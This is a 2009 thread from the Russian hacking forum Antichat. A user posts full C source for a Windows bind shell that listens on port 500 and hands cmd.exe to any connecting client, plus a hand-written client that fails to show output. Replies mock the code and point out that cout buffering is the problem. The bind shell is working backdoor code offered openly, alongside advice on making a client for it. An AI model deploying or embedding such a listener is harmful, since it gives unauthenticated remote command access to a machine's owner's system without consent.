Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Клиент для bind shell'a (https://forum.antichat.xyz/showthread.php?t=114742)

_nic 06.04.2009 18:42

Клиент для bind shell'a
 
Как должен выглядеть такой клиент?А то с обычным телнетом шеллы работают.А если пытатся слать в них по принципу принял-отправил-принял то ничего неполучается. :(
Вот шелл на основе которого пытаюсь разобратся
Код:

#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
int main()
{
struct sockaddr sockadr2;
        struct sockaddr_in sockadr;
        struct hostent    *host = NULL;
        long handle;
        PROCESS_INFORMATION cmdproc;
        STARTUPINFO cmdrun;
        WSADATA wsaData;
        SOCKET sock;

        WSAStartup(MAKEWORD(1,1), &wsaData);
        sock = socket(AF_INET, SOCK_STREAM,0);
 
    sockadr.sin_family = AF_INET;
    sockadr.sin_port = htons(500);       
        sockadr.sin_addr.s_addr = htonl(INADDR_ANY);

        bind(sock, (struct sockaddr *)&sockadr, sizeof(sockadr));
        listen(sock, 0);
       
        while(true){
                handle = accept(sock, &sockadr2, 0);
                if(handle != INVALID_SOCKET){
                        ZeroMemory(&cmdrun, sizeof(cmdrun));
                        cmdrun.cb = sizeof(cmdrun);
                        cmdrun.hStdInput = (void *)handle;
                        cmdrun.hStdError = (void *)handle;
                        cmdrun.hStdOutput = (void *)handle;
                        cmdrun.dwFlags = STARTF_USESTDHANDLES;
                        CreateProcess("C:\\windows\\system32\\cmd.exe", "", 0, 0, true, 0, 0, 0, &cmdrun, &cmdproc);
                        WaitForSingleObject(cmdproc.hProcess, INFINITE);
                        CloseHandle(cmdproc.hProcess);
                        CloseHandle(cmdproc.hThread);
                        shutdown(handle, 1);
                        CloseHandle(&handle);
                }
        }
}

А вот это я пытался сделать клиент:
Код:

int main()
{
char *buf=new char[1024*1024];
SOCKET s;SOCKADDR_IN adr;WSADATA wsd;
WSAStartup(MAKEWORD(2,0),&wsd);
adr.sin_family=AF_INET;
adr.sin_port=htons(500);
adr.sin_addr.s_addr=inet_addr("127.0.0.1");
s=socket(AF_INET,SOCK_STREAM,0);
getch();
connect(s,(sockaddr*)&adr,sizeof(adr));
Sleep(1000);
for(;;)
{
recv(s,buf,1024*1024,0);
if(strlen(buf)>0)
{
cout<<buf;
memset(buf,NULL,strlen(buf));
cin>>buf;
send(s,buf,strlen(buf),0);
}
if(strcmp(buf,"exit")==0){break;}
memset(buf,NULL,strlen(buf));
}
delete []buf;
}


12usver12 07.04.2009 14:03

CreateProcess("C:\\windows\\system32\\cmd.exe", "", 0, 0, true, 0, 0, 0, &cmdrun, &cmdproc);

это че за убожество

_nic 07.04.2009 18:22

Цитата:

Сообщение от 12usver12
CreateProcess("C:\\windows\\system32\\cmd.exe", "", 0, 0, true, 0, 0, 0, &cmdrun, &cmdproc);

это че за убожество

Накручиваем посты?Я спрашивал про клиент а не про шелл.Если нечего по теме скзать то надо молчать.

gold-goblin 07.04.2009 18:27

Цитата:

принял-отправил-принял
Это как?
Что не получается? какая ошибка?

panda gorl 07.04.2009 19:11

C нормальным биндшеллом клиентом выступает telnet.
Зачем клиент?
И правильно ли я понимаю, что WaitForSingleObject(cmdproc.hProcess, INFINITE); будет ждать завершения процесса? Следовательно, если клиент будет завершен некорректно (не через exit), то биндшелл повиснет и не будет больше принимать соединения?

_nic 07.04.2009 19:15

Цитата:

Сообщение от gold-goblin
Это как?
Что не получается? какая ошибка?

Код я привел выше.От шелла ничего на recv неприходит.

panda gorl 07.04.2009 19:27

Вообще, мне кажется ты гонишь. Как у тебя такой биндшелл вобше компилится будет с windows.h и winsock2.h одновременно то?

_nic 07.04.2009 20:39

Цитата:

Сообщение от panda gorl
Вообще, мне кажется ты гонишь. Как у тебя такой биндшелл вобше компилится будет с windows.h и winsock2.h одновременно то?

Ещё раз для особо одареных :шелы обсуждайте в другой теме.Здесь обсуждается почему в качестве клиента телнет работает нормально ,и что надо самописному коду чтоб он тоже работал с ним нормально.

panda gorl 08.04.2009 21:42

Самописный код писал такой же безрукий как и сам биндшелл.
На recv здесь все прекрасно приходит. А вот печатать это он не будет, так как cout ждет перехода строки для вывода на экран. Использование printf исправляет ситуацию.
Об остальных идиотизмах этого кода я вообще молчу (надо как минимум проверять возвращенное от recv значение на SOCKET_ERROR и != 0 и в зависимости от результата брякать, на exit вообще не проверять, поставить условия и т.п. и т.д.).

Советую автору кода не программировать больше никогда.

_nic 08.04.2009 22:06

Цитата:

Сообщение от panda gorl
Самописный код писал такой же безрукий как и сам биндшелл.
На recv здесь все прекрасно приходит. А вот печатать это он не будет, так как cout ждет перехода строки для вывода на экран. Использование printf исправляет ситуацию.
Об остальных идиотизмах этого кода я вообще молчу (надо как минимум проверять возвращенное от recv значение на SOCKET_ERROR и != 0 и в зависимости от результата брякать, на exit вообще не проверять, поставить условия и т.п. и т.д.).

Советую автору кода не программировать больше никогда.

Советую автору поста не тролить больше никогда.
ЗЫ:Все еда закончилась :D


Время: 22:36